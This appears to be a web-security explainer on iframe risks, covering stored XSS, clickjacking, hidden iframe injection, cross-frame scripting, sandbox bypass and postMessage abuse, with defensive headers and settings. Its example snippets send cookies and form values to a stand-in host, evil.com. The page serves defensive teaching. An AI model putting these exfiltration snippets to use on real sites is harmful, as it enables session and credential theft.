An iframe embeds a window inside a webpage that can load content from a different source. Convenient for third-party widgets, videos, and maps — but a significant attack surface if the source is untrusted or the embedding is misconfigured.
<iframe
src="https://www.youtube.com/embed/dQw4w9WgXcQ"
width="560"
height="315"
allow="accelerometer; autoplay; encrypted-media"
allowfullscreen>
</iframe>This renders the YouTube player inline — the user can interact with it without leaving the page. The iframe content runs in its own browsing context, separate from the parent page’s DOM and scripts.
Not all iframes are equally risky. Embedding a YouTube video from a known-good URL is generally fine. Embedding external forms (login, payment, signup) is where real danger begins.
Attack vectors
XSS via iframe — if an iframe loads user-generated content without a sandbox, any script in that content executes in the browser. If the iframe shares an origin with the parent, those scripts can access the parent DOM and steal cookies or redirect the user.
The domain in src can be your own — the threat is the content, not the host. An attacker registers on your platform and submits a profile bio containing a <script> tag. Your server stores it unsanitised and serves it as HTML. When another user’s page embeds that profile in an iframe, the script runs:
<!-- your page embeds a user profile -->
<iframe src="/profiles/attacker-user"></iframe>
<!-- attacker's profile HTML (stored in your DB, served by your server): -->
<script>
window.parent.location = 'https://evil.com?c=' + document.cookie;
</script>Clickjacking (UI redressing) — the attacker owns the outer page. They embed your site in a transparent iframe, positioned so one of your buttons sits directly under a decoy button on their page. The user clicks what looks like “Win a prize!” but actually clicks “Confirm Transfer” on your site underneath. Works because the browser sends the user’s real cookies with the iframe request — if they’re logged into your site, that click is authenticated.
evil.com (attacker's page)
├── Visible: "Win a prize!" button ← what the user sees
└── Invisible: your-bank.com iframe ← what the click actually hits
└── "Confirm Transfer" button, positioned underneathTip
Works only if the user is already authenticated on the target site (cookies sent automatically) AND the target site lacks
X-Frame-Options/frame-ancestorsCSP.SameSite=Strictcookies also kill this attack — the browser won’t send cookies when the site is loaded cross-site inside an iframe.
Malicious iframe injection — attacker first compromises a legitimate site (via XSS or a CMS plugin exploit), then injects a zero-size hidden iframe into the page. The user sees nothing unusual, but the browser fully loads and executes whatever is on the attacker’s page — as if the user navigated there themselves.
<!-- injected into a compromised page -->
<iframe src="https://evil.com/malware" width="0" height="0"></iframe>The attacker’s page can exploit browser vulnerabilities to silently install malware (drive-by download), fingerprint the user (browser version, fonts, IP), or serve fake prompts (“Your plugin is out of date”) that trigger further infection.
Cross-Frame Scripting (XFS) — exploits cases where the same-origin policy breaks down between frames. If parent and child share the same origin, the parent can freely read the child’s DOM — form inputs, tokens, keystrokes. Historically also triggered by document.domain relaxation between subdomains. Rare today on its own; usually chained with XSS to first gain same-origin access.
// attacker's script running on the same origin as the iframe
const doc = document.getElementById('target').contentDocument;
// no guessing needed — just dump everything
doc.querySelectorAll('input').forEach(input => {
fetch('https://evil.com/steal?name=' + input.name + '&value=' + input.value);
});Once same-origin access is established, the attacker can read the full DOM, extract all form fields by name, and observe keystrokes in real time — no prior knowledge of the component structure required.
Warning
High-security services (banks, payment processors) refuse to be embedded in iframes at all — they set
X-Frame-Options: DENYand redirect users to their own pages.
Sandbox bypass — allow-scripts + allow-same-origin together effectively defeat the sandbox entirely: scripts can run and remove the sandbox attribute from the iframe itself.
// inside the iframe — removes its own sandbox
window.frameElement.removeAttribute('sandbox');postMessage abuse — any iframe can fire a postMessage at the parent. If the parent doesn’t check e.origin, a malicious iframe can send arbitrary messages. Combined with eval, this gives the attacker remote code execution in the parent’s context.
// vulnerable parent — accepts messages from any iframe
window.addEventListener('message', (e) => {
// missing: if (e.origin !== 'https://trusted.com') return;
eval(e.data);
});
// malicious iframe sends:
// "fetch('https://evil.com?c=' + document.cookie)" → exfiltrates cookies
// "window.location='https://evil.com'" → redirects user to phishing pageBest practices
sandbox attribute — restricts what the iframe can do. Start with no permissions and grant only what’s needed:
<iframe src="example.com" sandbox="allow-forms allow-scripts"></iframe>Common sandbox values: allow-scripts, allow-forms, allow-same-origin, allow-popups.
Warning
Never combine
allow-scriptsandallow-same-origin— together they let the iframe script remove its own sandbox restrictions.
X-Frame-Options header — prevents your site from being embedded in a foreign iframe (defends against clickjacking):
X-Frame-Options: SAMEORIGINContent Security Policy — use frame-src to whitelist which origins may be loaded in iframes, and frame-ancestors to control who may embed your pages.
HTTPS everywhere — both the parent page and the iframe source must be HTTPS. Mixed content breaks the security model.
Validate sources — only embed from domains you explicitly trust. Avoid dynamic src values built from user input.
allow attribute — be conservative with permissions granted to the iframe (camera, microphone, payment, etc.).
loading="lazy" — defers iframe load until needed; also reduces attack surface at page load time.
Tip
Never embed login forms or payment forms in iframes. Always redirect to the service’s own page.
See also
- token-vs-api-key-auth — authentication patterns